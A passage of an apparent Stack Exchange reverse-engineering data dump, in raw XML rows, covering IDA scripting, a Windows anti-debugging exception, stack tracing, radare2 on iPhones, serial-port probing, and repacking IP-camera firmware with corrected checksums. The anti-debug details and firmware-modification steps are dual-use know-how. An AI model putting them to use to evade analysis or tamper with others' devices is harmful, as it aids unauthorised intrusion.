idc.GetStrucIdByName(struc_name)&#xA;    for mid in get_member_ids(sid):&#xA;        for xref in idautils.XrefsTo(mid):&#xA;            yield xref.frm&#xA;&#xA;&#xA;# And the usage:&#xA;for xref in get_member_xrefs('my-struct-name'):&#xA;    print '0x{:X}'.format(xref)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;edit to answer question in comment&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A Bit on Netnodes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This next bit is about IDA internals, so I might be off mark here. I am basic the information on SDK docs &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html&quot; rel=&quot;noreferrer&quot;&gt;see here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As visible in my code, many APIs that are documented for use on effective addresses (&lt;code&gt;ea&lt;/code&gt;s) also work on other IDA primitives - struct ids, member ids - without any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally, objects in IDA are mapped to netnodes. Lines in IDA are mapped linearly to netnode numbers, While other objects are mapped to numbers starting at &lt;code&gt;0xFF000000&lt;/code&gt;. &#xA;While addresses and struct ids might have a different semantic meaning, they are both netnode numbers. In IDA's APIs, this means that they are treated the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes things clearer.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2016-06-05T19:35:10.307" LastActivityDate="2016-06-05T19:35:10.307" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12802" PostTypeId="2" ParentId="12768" CreationDate="2016-06-04T18:35:16.473" Score="2" Body="&lt;p&gt;The full details of the behavior are described here:&#xA;&lt;a href=&quot;http://pferrie.epizy.com/papers/antidebug.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pferrie.epizy.com/papers/antidebug.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Specifically, if the EAX register has the value of 1, 3, or 4 on all versions of Windows, or the value 5 on Windows Vista and later, then Windows will increase by one the exception address.  Finally, it issues an EXCEPTION_BREAKPOINT (0x80000003) exception if a debugger is present.&lt;/p&gt;&#xA;&lt;p&gt;The skipped byte is intended to pass information to the kernel-mode component, but the mechanism is not used by default.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2023-12-29T02:39:03.640" LastActivityDate="2023-12-29T02:39:03.640" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="12805" PostTypeId="1" AcceptedAnswerId="12806" CreationDate="2016-06-05T08:00:32.733" Score="2" ViewCount="643" Body="&lt;p&gt;I am analyzing a Windows executable file(PE Format), probably written in Borland Delphi. The program starts with the following instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    pusha                      (1)&#xA;    pushf                      (2)&#xA;    xor ebp, ebp&#xA;    jmp add_eh&#xA;&#xA;add_eh:&#xA;    mov eax, ss:off_4025E5[ebp]&#xA;    mov dword ptr ss:(loc_402159+1)[ebp], eax&#xA;    push offset loc_40215f                (3)&#xA;    push dword ptr fs:0&#xA;    mov fs:0, esp                        (4)&#xA;    mov eax, [esp+2Ch]                    (5)&#xA;    cmp [eax+IMAGE_DOS_HEADER.e_magic], 'ZM'&#xA;    jnz short loc_40206C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I reproduced on paper the stack until the instruction marked with (5), it seems that at (5) the esp+2Ch is pointing above the first register(AX) pushed by (1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does esp+2Ch point and what can be it's value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="13898" LastEditorUserId="13898" LastEditDate="2016-06-08T06:36:24.403" LastActivityDate="2016-06-08T10:02:47.350" Title="To what points [esp+2Ch]?" Tags="|windows|assembly|pe|esp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12806" PostTypeId="2" ParentId="12805" CreationDate="2016-06-05T08:22:58.667" Score="1" Body="&lt;p&gt;based on the corrected sequence that instruction &lt;strong&gt;fetches the dword&lt;/strong&gt; prior to all the pushes     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pusha pushes 8 general purpose register  = 0x20   = 0x20&#xA;pushf pushes 1 flag register             = 0x04   = 0x24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ebp is 0&lt;br&gt;&#xA;mov eax, is/can/maybe junk anyway doesn't alter the stack&lt;br&gt;&#xA;the next instuction also doesnt alter the stack   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the next 2 pushes alter the stack        = 0x08   = 0x2c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the next instruction sets the seh handler   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so it fetches the DWORD from the stack prior to pusha    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if this was starting of a call this DWORD could be return address of the call    it can be from a earlier push instruction or moved to stack prior to pusha &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just to clarify i assembled the instuction in place somewhere in ollydbg and traced through it see the output below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main    ntdll.76E96F51  NOP&#xA;main    ntdll.76E96F52  NOP&#xA;main    ntdll.76E96F53  NOP&#xA;main    ntdll.76E96F54  NOP&#xA;main    ntdll.76E96F55  PUSH    0BA0000 [0020F99C]=00000000 ESP=0020F99C&#xA;main    ntdll.76E96F5A  PUSHAD      ESP=0020F97C&#xA;main    ntdll.76E96F5B  PUSHFD  [0020F978]=76E212AD ESP=0020F978&#xA;main    ntdll.76E96F5C  XOR     EBP, EBP&#xA;main    ntdll.76E96F5E  MOV     EAX, DWORD PTR SS:[EBP+calc.0BA25E5]    [00BA25E5]=0F087E3B EAX=0F087E3B&#xA;main    ntdll.76E96F64  MOV     DWORD PTR SS:[EBP+calc.ULongAdd], EAX   [00BA215A]=0F087E3B&#xA;main    ntdll.76E96F6A  PUSH    0BA215F [0020F974]=0020F9F4 ESP=0020F974&#xA;main    ntdll.76E96F6F  PUSH    DWORD PTR FS:[0]    [7FFDF000]=0020F9A0 ESP=0020F970&#xA;main    ntdll.76E96F76  MOV     DWORD PTR FS:[0], ESP   [7FFDF000]=0020F9A0&#xA;main    ntdll.76E96F7D  MOV     EAX, DWORD PTR SS:[ESP+2C]  [0020F99C]=00BA0000 EAX=00BA0000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-06-08T10:02:47.350" LastActivityDate="2016-06-08T10:02:47.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12809" PostTypeId="2" ParentId="12753" CreationDate="2016-06-05T20:23:44.403" Score="1" Body="&lt;p&gt;I tried your code in a 64 bit machine and there are some considerations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you push the 2 snippets of the string, the stack is containing a void word between them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x000000000040009a in _start () [bp before int 0x80] &#xA;(gdb) x/4wx $rsp&#xA;0x7fffffffde30: 0x656e774f  0x00000000  0x21212164  0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This causes the &lt;code&gt;write&lt;/code&gt; syscall to fail (as we are indicating the length is 8). So, right after the syscall, in the register &lt;code&gt;%rax&lt;/code&gt; contain an error code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) ni&#xA;0x000000000040009c in _start ()&#xA;(gdb) info reg&#xA;rax            0xfffffffffffffff2   -14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, we move a byte with &lt;code&gt;mov al,1&lt;/code&gt;, BUT the resulting value of &lt;code&gt;%rax&lt;/code&gt; is: &lt;code&gt;0xffffffffffffff01&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;exit&lt;/code&gt; syscall won't be performed and the code will continue with the contents of the memory... The results are not deterministic... (The segfault occurs somewhere, in my case tries to access to &lt;code&gt;*%rsi&lt;/code&gt; when the register &lt;code&gt;%rsi&lt;/code&gt; contains a &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps to anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW. Just in case, better if you introduce a null value before the string, in this way you are sure the string will end in a &lt;code&gt;NULL&lt;/code&gt; value. Otherwise, if the memory contains another value, &lt;code&gt;write()&lt;/code&gt; may print some strange characters.&lt;/p&gt;&#xA;" OwnerUserId="8736" LastEditorUserId="53" LastEditDate="2016-06-06T07:41:29.410" LastActivityDate="2016-06-06T07:41:29.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12810" PostTypeId="2" ParentId="12773" CreationDate="2016-06-05T22:31:33.730" Score="4" Body="&lt;p&gt;If your iPhone is jailbroken, you can use &lt;a href=&quot;http://rada.re&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; on it. You can follow the process to cross-compile it &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/iphone.md&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, or simply grab the latest release from &lt;a href=&quot;https://cydia.saurik.com/&quot; rel=&quot;nofollow&quot;&gt;Cydia&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A neat feature of radare2 is that you can run it &lt;em&gt;on&lt;/em&gt; your iPhone, and debug/analyse your application remotely, since radare2 instances can communicate, either by spawning the &lt;a href=&quot;https://github.com/radare/radare2-webui&quot; rel=&quot;nofollow&quot;&gt;web interface&lt;/a&gt;, or with the &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/rap&quot; rel=&quot;nofollow&quot;&gt;rap&lt;/a&gt; protocol, documented &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/remoting_capabilities.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your iPhone isn't jailbroken, then there is no way an application could be used to analyse another one, since each of them is running in a separate sandbox.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-06-05T22:31:33.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12811" PostTypeId="2" ParentId="12705" CreationDate="2016-06-05T22:48:34.747" Score="3" Body="&lt;p&gt;You can tell radare2 how much results do you want with the &lt;code&gt;search.count&lt;/code&gt; variable, and you can also adjust your search window with the &lt;code&gt;search.from&lt;/code&gt; and &lt;code&gt;search.to&lt;/code&gt; ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to check &lt;code&gt;e??~search&lt;/code&gt; (&lt;code&gt;e&lt;/code&gt; for evaluate, &lt;code&gt;??&lt;/code&gt; to get help about the configuration variables (&lt;code&gt;?&lt;/code&gt; is used to get help about &lt;code&gt;e&lt;/code&gt; itself), and &lt;code&gt;~&lt;/code&gt; for the internal filtering, here, on &lt;em&gt;search&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To search for opcodes, you can use &lt;code&gt;/a&lt;/code&gt;, to &lt;em&gt;search&lt;/em&gt; &lt;em&gt;a&lt;/em&gt;ssembled opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matching offset will automatically have a &lt;code&gt;hit0_0&lt;/code&gt; flag attributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e search.count = 1&#xA;e search.to = 0x000048b4&#xA;/a ldr r1&#xA;pd 1 @ hit0_0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-06-05T22:48:34.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12812" PostTypeId="1" AcceptedAnswerId="12813" CreationDate="2016-06-06T02:32:27.803" Score="5" ViewCount="717" Body="&lt;p&gt;Well another weekend has gone by and my tinkering has caused another device to (potentially) bite the dust. I've been playing around with a couple of Slingboxes, an M1 and a 500. Today was the M1. I had taken it apart (quite easily!) and poked around with my continuity and voltage probes with results as below for a few locations (see image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gnd means continuity existed between the tested part &amp;amp; the metal shield. The voltage in yellow is the voltage while it was plugged in. The spot in the upper left has a voltage that fluctuates somewhat erratically esp earlier on in the booting process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/23091/m1/front.jpg&quot; alt=&quot;front panel with labels&quot;&gt; &lt;em&gt;full size image at &lt;a href=&quot;https://dl.dropboxusercontent.com/u/23091/m1/front.jpg&quot; rel=&quot;noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/23091/m1/front.jpg&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hooked up a serial to usb and ran minicom on the &quot;chatty&quot; one noted towards the top left.. and got a bunch of garbled garbage. Ran &lt;a href=&quot;https://code.google.com/archive/p/baudrate/&quot; rel=&quot;noreferrer&quot;&gt;baud rate&lt;/a&gt; and it cycled thru various baud settings but didn't find anything that made sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/23091/m1/baudrate.png&quot; alt=&quot;baud rate&quot;&gt; and so on. Tried the other ports as labeled, and nothing else had any &quot;chatter&quot; on minicom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Well I started touching the read probe on various other points on the board. One chip on the right generated a few (but not lots) of random looking data. And as I was touching a the prongs of the chip on the left above the smaller shield, the LEDs on the board turned off and it stopped generating any output. Sad. It won't turn back on or do anything at this point. Can that happen just from touching two pins on a chip? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to repair this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretending I didn't fry the board, any ideas on what I could've done differently with minicom?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2016-06-08T11:32:37.073" Title="Thought I found serial port - broke embedded device instead! Help?" Tags="|hardware|serial-communication|embedded|integrated-circuit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12813" PostTypeId="2" ParentId="12812" CreationDate="2016-06-06T05:34:56.313" Score="9" Body="&lt;p&gt;Frying your board:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just touching one single pin of a chip, or connecting it to ground over a reasonably high-resistance voltmeter, will generally not fry a board. However, there are ways to fry a board:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;static electricity. Every instruction to insert a PCI card in your computer comes with a warning about that, and there is a reason. However, i found computers quite resilient; probably it's cheaper for manufacturers to build some ESD protection into their mainboards than to handle the complaints and returns of 16 year old kids who fried their hardware. But it's reasonable to expect hardware that's not intended to be opened to be more prone to this kind of vulnerability.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;reversed polarity - some chips are very sensitive to having a pin connected to a voltage lower than their ground level, and some circuits use positive and negative voltages resp. ground. I wouldn't expect these in the digital parts of a device though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;short-circuits - it's very easy to slip and have your probe connect two neighboring pins together. Short-circuting an output pin with Gnd (or Vcc) has a good chance to fry the chip when it temporarily generates too much heat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, yes, this can happen, and short of identifying replacing the broken chip, there's no way to repair this. (Well, if you're lucky, you could just blow a fuse, but your board doesn't look like it has any fuses).  And in 99% of the cases replacing the board will be cheaper than the labour involved in repairing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test if a signal is really a serial signal, I typically use a scope. They don't cost you an arm and a leg these days; the one I currently use is &lt;a href=&quot;http://www.sainsmart.com/sainsmart-dds-140-40m-200m-s-virtual-oscilloscope-signal-generator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. (I have no affiliation with them except being a satisfied customer). To qualify as a serial signal, your signal should have sharp, straight vertical edges, and the time between two raising edges will be very constant. From this time, you can determine the baud rate (for example, ~100 µs between edges =&gt; ~1 ms per 10-bit-byte (8 bits + start bit + stop bit) =&gt; 1000 bytes per second =&gt; probably 9600 baud).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12523/routers-serial-port-only-outputs-garbage/12525#12525&quot;&gt;this&lt;/a&gt; question shows what is most probably &lt;em&gt;not&lt;/em&gt; a serial signal; this is what a serial signal looks like (&lt;a href=&quot;http://www.interworldna.com/pico/usb3_scope_logic_analyser.php#tabs-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S2VCx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S2VCx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-06-06T05:34:56.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12814" PostTypeId="1" CreationDate="2016-06-06T08:20:52.330" Score="1" ViewCount="1559" Body="&lt;p&gt;I have several IP cameras from china, and I need to add some software to it. I have to ways how to burn my software into camera ROM using hardware programmer and using special binary what I upload into camera using camera's Web interface. I decide to use special binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I'd download this binary from &lt;a href=&quot;http://bspsecurity.ru/download-file/proshivka-ot-25-10-2015-6.zip.&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. The binary successfully uploaded into camera and I decide to watch inside it. I use &lt;code&gt;binwalk&lt;/code&gt; program. &lt;code&gt;binwalk&lt;/code&gt; tell me next: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[arhichief@arhichief-pc updates]$ binwalk di20_fl_03.upw &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;152           0x98            uImage header, header size: 64 bytes, header CRC: 0x863E2566, created: 2014-08-01 04:16:33, image size: 3091196 bytes, Data Address: 0x80008000, Entry Point: 0x80008000, data CRC: 0x3B8FC9B, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: &quot;Linux-3.0.8&quot;&#xA;16243         0x3F73          gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)&#xA;3091412       0x2F2BD4        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 7403482 bytes, 24 inodes, blocksize: 262144 bytes, created: 2015-05-10 02:32:07&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; command told me, what it is a binary image of ROM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[arhichief@arhichief-pc updates]$ file di20_fl_03.upw &#xA;di20_fl_03.upw: UNIF v-740431636 format NES ROM image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After extracting the parts of binary, I found that data after 0x2F2BD4 is an image of the storage with additional software and bash script to run it. Looks like, I found the way how to insert my software into camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;dd&lt;/code&gt;, I get this part of binary, extract it, add my programs, pack it back and write back into binary file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[arhichief@arhichief-pc updates]$ dd conv=notrunc bs=1 if=di20_fl_03.upw skip=3091412 count=7403482 of=fs.sqhsfs&#xA;7403482+0 records in&#xA;7403482+0 records out&#xA;7403482 bytes (7.4 MB, 7.1 MiB) copied, 8.7586 s, 845 kB/s&#xA;&#xA;[arhichief@arhichief-pc updates]$ unsquashfs fs.sqhsfs &#xA;Parallel unsquashfs: Using 4 processors&#xA;23 inodes (72 blocks) to write&#xA;&#xA;[=================================================================================================================================================================================================================================================================|] 72/72 100%&#xA;&#xA;created 23 files&#xA;created 1 directories&#xA;created 0 symlinks&#xA;created 0 devices&#xA;created 0 fifos&#xA;[arhichief@arhichief-pc updates]$ cd squashfs-root/&#xA;[arhichief@arhichief-pc squashfs-root]$ dd if=/dev/random bs=1 of=TEST.FILE count=1258291&#xA;^C234+0 records in&#xA;234+0 records out&#xA;234 bytes copied, 28.535 s, 0.0 kB/s&#xA;&#xA;[arhichief@arhichief-pc updates]$ mksquashfs squashfs-root/ fs.sqhsfs -comp xz -Xdict-size 100% -b 262144&#xA;Parallel mksquashfs: Using 4 processors&#xA;Creating 4.0 filesystem on fs.sqhsfs, block size 262144.&#xA;[=================================================================================================================================================================================================================================================================|] 78/78 100%&#xA;&#xA;Exportable Squashfs 4.0 filesystem, xz compressed, data block size 262144&#xA;    compressed data, compressed metadata, compressed fragments, compressed xattrs&#xA;    duplicates are removed&#xA;Filesystem size 8529.98 Kbytes (8.33 Mbytes)&#xA;    56.79% of uncompressed filesystem size (15020.30 Kbytes)&#xA;Inode table size 494 bytes (0.48 Kbytes)&#xA;    47.23% of uncompressed inode table size (1046 bytes)&#xA;Directory table size 374 bytes (0.37 Kbytes)&#xA;    87.59% of uncompressed directory table size (427 bytes)&#xA;Number of duplicate files found 0&#xA;Number of inodes 25&#xA;Number of files 24&#xA;Number of fragments 3&#xA;Number of symbolic links  0&#xA;Number of device nodes 0&#xA;Number of fifo nodes 0&#xA;Number of socket nodes 0&#xA;Number of directories 1&#xA;Number of ids (unique uids + gids) 2&#xA;Number of uids 1&#xA;    arhichief (1000)&#xA;Number of gids 1&#xA;    users (100)&#xA;&#xA;[arhichief@arhichief-pc updates]$ dd if=fs.sqhsfs of=di20_fl_03_new.upw conv=notrunc bs=1 seek=3091412&#xA;8736768+0 records in&#xA;8736768+0 records out&#xA;8736768 bytes (8.7 MB, 8.3 MiB) copied, 8.81158 s, 992 kB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After what I match new firmware update binary with &lt;code&gt;binwalk&lt;/code&gt; to make sure, everything is ok.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[arhichief@arhichief-pc updates]$ binwalk di20_fl_03_new.upw &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;152           0x98            uImage header, header size: 64 bytes, header CRC: 0x863E2566, created: 2014-08-01 04:16:33, image size: 3091196 bytes, Data Address: 0x80008000, Entry Point: 0x80008000, data CRC: 0x3B8FC9B, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: &quot;Linux-3.0.8&quot;&#xA;16243         0x3F73          gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)&#xA;3091412       0x2F2BD4        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8734702 bytes, 25 inodes, blocksize: 262144 bytes, created: 2016-06-06 07:46:09&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to upload new firmware update binary into the camera, but camera return me an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok. I'd try to search for some solutions and found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8019/hikvision-camera-firmware-reverse-engineering&quot;&gt;this&lt;/a&gt;. From answers in that thread I get a python script what extract firmware and shows the checksums of firmware parts. Good. This script show me next:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[arhichief@arhichief-pc updates]$ python2 extract_hikvision_dav_file.py di20_fl_03.upw &#xA;Magic number:    5a4b5356&#xA;Header checksum: 0000223a&#xA;Header length:   00000098&#xA;File number:     00000002&#xA;Language:        00000001&#xA;Device class:    00000002&#xA;Calced checksum: 0000223a&#xA;75496d6167650000000000000000000000000000000000000000000000000000980000003c2b2f001d4e7b18&#xA;File name:          uImage&#xA;Start:              00000098&#xA;Length:             002f2b3c&#xA;Checksum:           187b4e1d&#xA;Calced checksum:    187b4e1d&#xA;6170702e696d6700000000000000000000000000000000000000000000000000d42b2f00000071003d7de138&#xA;File name:          app.img&#xA;Start:              002f2bd4&#xA;Length:             00710000&#xA;Checksum:           38e17d3d&#xA;Calced checksum:    38e17d3d&#xA;&#xA;[arhichief@arhichief-pc updates]$ python2 extract_hikvision_dav_file.py di20_fl_03_new.upw &#xA;Magic number:    5a4b5356&#xA;Header checksum: 0000223a&#xA;Header length:   00000098&#xA;File number:     00000002&#xA;Language:        00000001&#xA;Device class:    00000002&#xA;Calced checksum: 0000223a&#xA;75496d6167650000000000000000000000000000000000000000000000000000980000003c2b2f001d4e7b18&#xA;File name:          uImage&#xA;Start:              00000098&#xA;Length:             002f2b3c&#xA;Checksum:           187b4e1d&#xA;Calced checksum:    187b4e1d&#xA;6170702e696d6700000000000000000000000000000000000000000000000000d42b2f00000071003d7de138&#xA;File name:          app.img&#xA;Start:              002f2bd4&#xA;Length:             00710000&#xA;Checksum:           38e17d3d&#xA;Calced checksum:    38754ea4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that checksums in default and updated firmwares are mismatch. I have some experience in C, so, I decide to rewrite python script in C and modify it so it will correct checksums. Here is my &lt;a href=&quot;http://pastebin.com/bV9rL2P6&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;. So, It works well, I think. The results of python script and my code are same after my code patch checksums. But when I try to upload firmware with corrected checksums into camera, it still return error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what I shall do next, and I think you will give me some advices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Please, sorry for long question. I think you will need to know all my steps to give me correct answer. I think I've made an error some there in it.&lt;/p&gt;&#xA;" OwnerUserId="16266" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-06-06T08:20:52.330" Title="Modification of existing binary firmware update" Tags="|binary-analysis|firmware|binary|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12815" PostTypeId="2" ParentId="12791" CreationDate="2016-06-06T08:35:59.987" Score="1" Body="&lt;p&gt;In order to make the question and answer separate to make things clearer, I added my own solution mainly according to @tmr232's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 1st question, just as @tmr232 answered, those (seemingly) ineffective addresses are references to stack variables. In IDA's internals, each stack variable is treated as a member of a struct which represents the stack frame of a function. &lt;b&gt;&lt;em&gt;CODE 1&lt;/em&gt;&lt;/b&gt; in the question can return all cross-references to a struct type, including cross-references to global instances and local stack instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 2nd question, comments to be added to references to local stack instances can be added by treating these references as members of a struct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def add_struct_cmt (struct_name, cmt, repeatable):&#xA;&#xA;    # locate ea by structure name, here, ea is identical to sid&#xA;    sid = idc.LocByName(%structure name%)&#xA;&#xA;    if sid == idaapi.BADADDR:&#xA;        return &#xA;&#xA;    # get all cross-references to 'sid' including references to global &#xA;    # struct instances and references to local stack variables&#xA;    frm = [x.frm for x in idautils.XrefsTo(sid)]&#xA;&#xA;    for ea in frm:&#xA;&#xA;        if ea &amp;gt; idc.MaxEA():&#xA;            # references to stack variables&#xA;&#xA;            # IDA 6.8 and above: getting 'member_t' using 'ea' as mid&#xA;            mptr = idaapi.get_member_by_id(ea)&#xA;&#xA;            # IDA 6.8: setting member comment using 'mptr' as index&#xA;            idaapi.set_member_cmt(mptr, cmt, repeatable)&#xA;&#xA;            # IDA 6.9: 'mptr' is type of list&#xA;            #idaapi.set_member_cmt(mptr[0], cmt, repeatable)&#xA;&#xA;        else:&#xA;            # references to global struct instances&#xA;&#xA;            if repeatable：&#xA;                # add repeatable comment&#xA;                idc.MakeRptCmt(ea, cmt)&#xA;&#xA;            else:&#xA;                # add non-repeatable comment&#xA;                idc.MakeCmt(ea, cmt)     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16284" LastEditorUserId="8317" LastEditDate="2018-07-09T18:25:47.250" LastActivityDate="2018-07-09T18:25:47.250" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
